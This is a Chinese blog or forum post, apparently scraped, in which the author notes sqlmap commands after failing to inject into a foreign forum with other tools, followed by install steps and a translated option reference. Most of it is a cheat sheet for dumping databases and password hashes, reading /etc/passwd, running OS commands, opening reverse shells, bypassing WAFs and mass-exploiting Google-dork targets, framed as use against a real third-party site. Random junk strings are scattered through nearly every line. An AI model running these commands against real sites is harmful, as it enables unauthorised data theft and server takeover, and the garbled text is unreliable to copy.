今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、0 P4 G! T; @/ O$ i' t8 m. e
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称- u7 M3 N( x1 e2 T. \/ b S; c
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
6 F: Y1 G& a8 d4 nsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
6 v9 ]4 ?5 M+ C6 L+ ^0 ] 1 _0 N! x& p2 K: s' T
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
+ H) z: U* ]" W: t5 C* M) w0 #获取字段内容3 J; Z8 Z# K/ }3 K! q
4 B' ^( N8 {* @$ ^6 z3 h
******************信息获取******************3 B! V2 U1 w1 a4 a' N" g/ p
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型* R) V5 ~1 |2 k0 u
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
" _" p: u2 b" h1 j0 M) g" Hsqlmap -u “http://url/news?id=1″ –dbs#列数据库
1 b) U( _. O. osqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
$ z: g' |9 h5 Z: U) X& P# h* k Tsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
, z& |: S9 c' c: H7 G4 @2 ]sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
$ F" ~' B' ]0 F4 O5 E+ j! x$ v–start 1 –stop 20 #列出指定字段,列出20 条8 n, U' a% ~* m5 } _
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
8 L& n" D3 J: G: Psqlmap -u “http://url/news?id=1″ –privileges #查看权限' I, A5 A5 `5 g8 {; N) s# l+ Y
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
6 l8 P# j! s/ ~" s' n. g- E$ usqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)& F( Q1 D8 R- O9 q$ q9 d+ v, @
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
" q; K5 L) z' w- a( T& vsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
! C* t- c9 X- C+ H+ Wsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
7 @+ K1 _. g, |4 Esqlmap -u “http://url/news?id=1″-b #获取banner信息
I: ^( I: t; E$ Fsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入4 S8 C1 }" L7 ]" B) j3 Z9 L' t% x
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
I- G6 g1 g5 h& t# v0 ?sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入* ^. } `1 ~. n6 m/ E
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
& y* {# G8 w ]9 L" nsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
t4 C9 r: F1 ?0 o; \6 _8 Q5 d; ysqlmap -u “http://url/news?id=1″ –file /etc/passwd0 l# O% |" k; v. U7 H6 a- ?2 f
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
* f. c/ j# R1 Y/ G4 tsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell6 W. {! D q$ m. }" K, H
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表$ B& m3 e! w" @) {& c0 Z
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度# |: O8 X1 f* Y5 B5 J
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度7 A& T( P% h7 J2 I! o+ p/ l: N
***********高级用法*************5 y1 N$ q1 G8 O
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入! Z* C# D, N' p2 ?6 [
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问9 G- Y$ e( w9 t) X- o6 k
–technique 测试指定注入类型\使用的技术, [- u- S# F# h/ t; M
不加参数默认测试所有注入技术1 V" H5 |+ `+ r& o2 N) ~- j
• B: 基于布尔的SQL 盲注- @! W( y* F) S
• E: 基于显错sql 注入* k+ l9 B- L5 ^) \
• U: 基于UNION 注入
3 Q0 @/ N+ w! s, @9 O# `- c: c4 e• S: 叠层sql 注入 U* o& Y9 \: V- _- g
• T: 基于时间盲注
8 G, h# t. Z; E" H–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
7 A$ E' e. M- |–tamper 插件所在目录
0 O3 u* A+ }% T. p% a: V5 ]\sqlmap-dev\tamper/ ~- B, c! j8 E& o5 ~
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
, L* x6 A' K4 p8 j/ E flevel 执行测试等级 攻击实例:: S. n$ c9 B; m/ L1 d
Sqlmap -u “http://url/news?id=1&Submit=Submit”/ `- w7 ^& y$ i& U/ x1 ?/ ]$ Z
–cookie=”PHPSESSID=41aa833e6d0d8 n( q3 {, X9 x6 Q
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
* ~. J' a; _2 O4 K–password# L6 y8 c5 _7 e( c$ a1 B
参考文档:http://sqlmap.sourceforge.net/doc/README.html
' N' N" ?, k' D/ [***********安装最新版本*************: Y. B$ v( |. I0 X7 d6 T3 L
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
* n o4 q- Y C Rsudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
6 _0 W, S( u6 `& l0 C' Y' p安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
% c4 v" E8 z- Qsudo vim /home/当前用户/.bashrc4 W& c O2 w) f, C2 |+ D7 j
#任意位置加上:
; x- ~( G5 r+ q( V0 R' k0 z5 `; Falias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
' |) r- ]3 m: i+ O$ n如果想对所有用户有效 可设置全局 编辑下面的文件
( a% c0 B/ i3 J! i. J$ X* tvim /etc/profile
2 R6 a; Q/ q- U& a. h$ F- b同样加上:5 g* v2 y- t" D$ G/ j3 Y. W
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
/ }; u+ L0 L$ J9 D******************windows 7 (x64) sqlmap install (SVN)************
1 F5 ^( U+ o a# Xhttp://www.python.org/getit/ 安装python+ k% R8 f# g/ `) a
http://www.sliksvn.com/en/download 安装windows svn client
- j2 d+ [9 s( C. usvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev! z' T; N, L. e) `" { }- x
安装sqlmap
5 M! U; s. O, F*修改环境变量
: t5 \! Q$ M8 y x* M% K; R–version 显示程序的版本号并退出
! p6 d$ m: X1 ~% c8 n {) Q-h, –help 显示此帮助消息并退出! _3 Q; _* ]7 |. s
-v VERBOSE 详细级别:0-6(默认为1)
5 I r$ O8 ~& S3 c/ F, }) oTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
! f7 w# {) x4 S# m, i! w1 h-d DIRECT 直接连接到数据库。
: X" P2 g" b: ^1 l! S0 d-u URL, –url=URL 目标URL。7 n1 _+ V. n) s) G
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
8 C% I/ z3 Z/ x- F$ u' `; V' b-r REQUESTFILE 从一个文件中载入HTTP 请求。
7 c" U1 K4 |, p-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
4 m. w; B. m! Y4 ]% z$ C-c CONFIGFILE 从INI 配置文件中加载选项。" {: t! Q$ t/ O- @! p8 x
Request(请求)::
! _7 \1 [6 X6 K `0 f# d) ]这些选项可以用来指定如何连接到目标URL。
' T% |! Z4 ^: o% |- O4 T–data=DATA 通过POST 发送的数据字符串
5 r; o# M/ D5 K4 p–cookie=COOKIE HTTP Cookie 头
6 A6 |* M3 N2 p: y) I–cookie-urlencode URL 编码生成的cookie 注入
4 t6 M! z. L/ B3 G& Z–drop-set-cookie 忽略响应的Set –Cookie 头信息9 K) y2 a$ V' x* W2 B
, L/ u9 o2 `$ ^5 \
–user-agent=AGENT 指定 HTTP User –Agent 头: E( D$ P! R2 I* l; n& K
–random-agent 使用随机选定的HTTP User –Agent 头4 ]" X* @( M& h4 V6 R. I& g% P+ D* s
–referer=REFERER 指定 HTTP Referer 头
9 k2 X! S9 q: b& S" o5 Q–headers=HEADERS 换行分开,加入其他的HTTP 头) u. q2 x& n. ]2 Z3 N5 _/ _+ l
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM): }; P" V: \7 c: W
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
# b: M) t# o, ~& [; J+ G/ W6 F–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)" p* V% C/ w3 J. B8 W; T" h2 `
–proxy=PROXY 使用HTTP 代理连接到目标URL, J6 H4 G9 Q! [
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)& K4 }# `% H0 Q* u/ |4 S7 ]; n
–ignore-proxy 忽略系统默认的HTTP 代理
9 e( S' d" M1 f0 M. v–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
" r% D! ~. `) S4 Q3 P; a–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)9 s: o e) k* l
–retries=RETRIES 连接超时后重新连接的时间(默认3), d7 P1 J. ^/ K* r' [6 N
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
: t* J1 w9 s' H( _–safe-url=SAFURL 在测试过程中经常访问的url 地址
* Y* p- o& Y! x2 s' a–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL2 {/ ~, I' O5 e0 j8 i
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
) N) r. k- W2 c- o0 j. x-o 开启所有优化开关
2 r, X) s7 N L+ l! R3 K–predict-output 预测常见的查询输出
( l) m' O5 {9 k: }+ p–keep-alive 使用持久的HTTP(S)连接
4 X4 F) m4 v" U! r" f4 h–null-connection 从没有实际的HTTP 响应体中检索页面长度# p( I o! A) I# Y0 Y: A
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)1 H4 ~& M; L0 L9 }, f9 |* A3 |
Injection(注入):! b4 g$ @1 v+ t' T# I* ~4 v
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
+ _4 w5 h" k9 P3 C-p TESTPARAMETER 可测试的参数(S)
% s) l; s( h# p1 J7 F9 }; |* d6 H–dbms=DBMS 强制后端的DBMS 为此值& h$ n9 W8 R2 i$ O; ]
–os=OS 强制后端的DBMS 操作系统为这个值3 Y/ | d+ k* o- a' Q& M3 |8 S
–prefix=PREFIX 注入payload 字符串前缀
1 Y5 i# ~$ ?8 d4 q, H–suffix=SUFFIX 注入 payload 字符串后缀
) ^' P- Q" \# J6 U) z d% e+ _–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
8 h/ r+ B- c) y/ r, E. }* f1 uDetection(检测):
8 z# {! h7 b% S0 F J( I这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。# D7 f4 f. A5 I
–level=LEVEL 执行测试的等级(1-5,默认为1)/ v4 c: c' T: `% P( T/ s* J( d5 ]+ u8 J
–risk=RISK 执行测试的风险(0-3,默认为1)
& h+ S& y: n" z–string=STRING 查询时有效时在页面匹配字符串
0 I: [5 j7 z4 D% w–regexp=REGEXP 查询时有效时在页面匹配正则表达式6 h# f ~$ r# l5 u* D* A# D. ], \
–text-only 仅基于在文本内容比较网页$ p3 B" h' z& A( `. L. v
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
& R$ f. O( m; K5 Q, X% X7 Z–technique=TECH SQL 注入技术测试(默认BEUST)7 @. t p% ~1 v y
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
! R+ }6 O/ y8 x! t1 B9 c! P–union-cols=UCOLS 定列范围用于测试UNION 查询注入# x, {$ w R# E
–union-char=UCHAR 用于暴力猜解列数的字符( L R% S$ j6 S0 ]0 ]
Fingerprint(指纹):
8 l6 l9 j& R' a# c" ^5 J) h-f, –fingerprint 执行检查广泛的DBMS 版本指纹
# x9 z( F6 z2 eEnumeration(枚举):: u' J( _% k) l/ l5 V0 O5 Y
$ Q2 [( N0 X; y2 a t0 J' Z2 c这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
9 |8 Y: |; M2 Z, |( G-b, –banner 检索数据库管理系统的标识: d: v5 j C7 E; ^" J3 c
–current-user 检索数据库管理系统当前用户/ G( i' U* ~$ o( t
–current-db 检索数据库管理系统当前数据库9 a3 ^& G, ]$ o9 ?
–is-dba 检测DBMS 当前用户是否DBA
4 [6 @, [+ A6 R–users 枚举数据库管理系统用户4 }- z- {% s! @% {7 c
–passwords 枚举数据库管理系统用户密码哈希
+ j' |# ~ W3 k& d# k& E0 v–privileges 枚举数据库管理系统用户的权限
+ V7 J$ w0 m, E) p0 y& I–roles 枚举数据库管理系统用户的角色6 h0 U6 F! x3 w/ j g6 G+ C* N: {$ `
–dbs 枚举数据库管理系统数据库
+ g N o$ g, |) H1 S' c–tables 枚举的DBMS 数据库中的表8 n7 l! |' h- u; j; C. L
–columns 枚举DBMS 数据库表列" \9 u. f Z' U( ?6 W7 c. n7 y) Z9 U" g
–dump 转储数据库管理系统的数据库中的表项
* o: l* }' T; S" q7 n–dump-all 转储所有的DBMS 数据库表中的条目
* j) x4 T: ?1 m( i–search 搜索列(S),表(S)和/或数据库名称(S)
! ?( y2 {( l- g$ e1 h! E-D DB 要进行枚举的数据库名
; j- C) `! G$ l-T TBL 要进行枚举的数据库表
7 V+ \. Q. `0 t! f# z N-C COL 要进行枚举的数据库列5 a- _2 Z' B4 ?% A
-U USER 用来进行枚举的数据库用户
) {% o, {: y( O+ I" B( z–exclude-sysdbs 枚举表时排除系统数据库
' v9 ?, } g) T–start=LIMITSTART 第一个查询输出进入检索
8 q- u8 o' ~ }) M/ z ^; M–stop=LIMITSTOP 最后查询的输出进入检索 ^; \2 L ?; }* I# z$ L- I1 `9 Y
–first=FIRSTCHAR 第一个查询输出字的字符检索
9 u4 r8 v n4 I3 J–last=LASTCHAR 最后查询的输出字字符检索
4 @; l" ?+ e. s! O% ^* C–sql-query=QUERY 要执行的SQL 语句
" l- S J+ r2 q9 [: A–sql-shell 提示交互式SQL 的shell
* L' A6 [( E% C8 o. T# {( wBrute force(蛮力): 这些选项可以被用来运行蛮力检查。; b( S7 O* F* J. W i/ a
–common-tables 检查存在共同表1 _1 n% g# A9 ]: p
–common-columns 检查存在共同列
+ }2 Q1 n' u( R# ]2 FUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。9 R# h& V7 D- s$ D+ K' x
–udf-inject 注入用户自定义函数) J$ @' c# |8 t& m V
–shared-lib=SHLIB 共享库的本地路径( ^ G- A; l7 Q9 n; |
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。: `6 O" v' `% K3 b' I( j
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
5 V! v5 g1 m, ]6 w1 O–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件# ~5 s: F, D- \
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径8 P! J, Q1 R% }
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。9 x: H* w9 e1 j, r; i' p" a
–os-cmd=OSCMD 执行操作系统命令
. f+ o) s/ I0 h5 N5 x–os-shell 交互式的操作系统的shell. `2 S) c- m, i _- P, C1 \6 S& L
–os-pwn 获取一个OOB shell,meterpreter 或VNC
( e3 U) Z% c6 b; W6 W–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
( P# l, A; F! X) t$ `0 @- G2 t1 A–os-bof 存储过程缓冲区溢出利用- [9 L0 h* q% j; }) v7 k1 Y
–priv-esc 数据库进程用户权限提升
`% ~4 p; \8 q# w' n% n4 U6 s$ K–msf-path=MSFPATH Metasploit Framework 本地的安装路径8 e! \3 e+ L$ ] F* g6 u
–tmp-path=TMPPATH 远程临时文件目录的绝对路径$ ^* @! Z! H' @! _8 J+ Z
8 r8 b+ E& x& u2 s4 [1 N) |
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。9 h6 J, r, {% [/ T
–reg-read 读一个Windows 注册表项值, N1 M* f9 {! d3 Z- y, I' b
–reg-add 写一个Windows 注册表项值数据
& ^4 Y A* p* X" H/ a–reg-del 删除Windows 注册表键值
# H' e5 P* f2 w$ @% P( Q–reg-key=REGKEY Windows 注册表键
& O) G3 K8 F z) y# m, d–reg-value=REGVAL Windows 注册表项值$ e4 W. G" Q% p" n! I
–reg-data=REGDATA Windows 注册表键值数据
2 F3 r; b& q; t. T# ]% c–reg-type=REGTYPE Windows 注册表项值类型& l$ L+ Q X c. N$ E$ l
General(一般): 这些选项可以用来设置一些一般的工作参数。
' V0 p6 k4 _. b, `* ]5 l: G* v-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
3 T* e" M+ Y7 @% H4 @# [) O& [-s SESSIONFILE 保存和恢复检索会话文件的所有数据- L w' e F6 f2 w' B, C
–flush-session 刷新当前目标的会话文件1 p: @/ m( E j1 q: J4 q' F
–fresh-queries 忽略在会话文件中存储的查询结果
* n" z2 X& D. U–eta 显示每个输出的预计到达时间. {* d7 J: @: U, k
–update 更新SqlMap
, {- I1 _ N; P' t–save file 保存选项到INI 配置文件% @5 O( Y, B" m
–batch 从不询问用户输入,使用所有默认配置。
/ L3 t% `; {. t! C I9 wMiscellaneous(杂项):7 |* B8 V9 H9 }1 \+ _* ^1 ]* O
–beep 发现SQL 注入时提醒" t6 n' x" u2 F \
–check-payload IDS 对注入payloads 的检测测试
7 O1 R% d# N; {1 e- f% L5 m* R: u–cleanup SqlMap 具体的UDF 和表清理DBMS1 p& }/ t& X6 Y( g2 y- H
–forms 对目标URL 的解析和测试形式
* P+ F" J9 A0 q% p5 O) z–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
9 {" A. Q: z* Y& }–page-rank Google dork 结果显示网页排名(PR)( u. }9 e+ F/ T, T* N! i
–parse-errors 从响应页面解析数据库管理系统的错误消息
) }9 ~8 H6 `6 ]! x3 h6 J% K2 W–replicate 复制转储的数据到一个sqlite3 数据库
- T. ^. I n6 z) P–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址$ v. ]% x/ C$ r, t6 }' x
–wizard 给初级用户的简单向导界面 |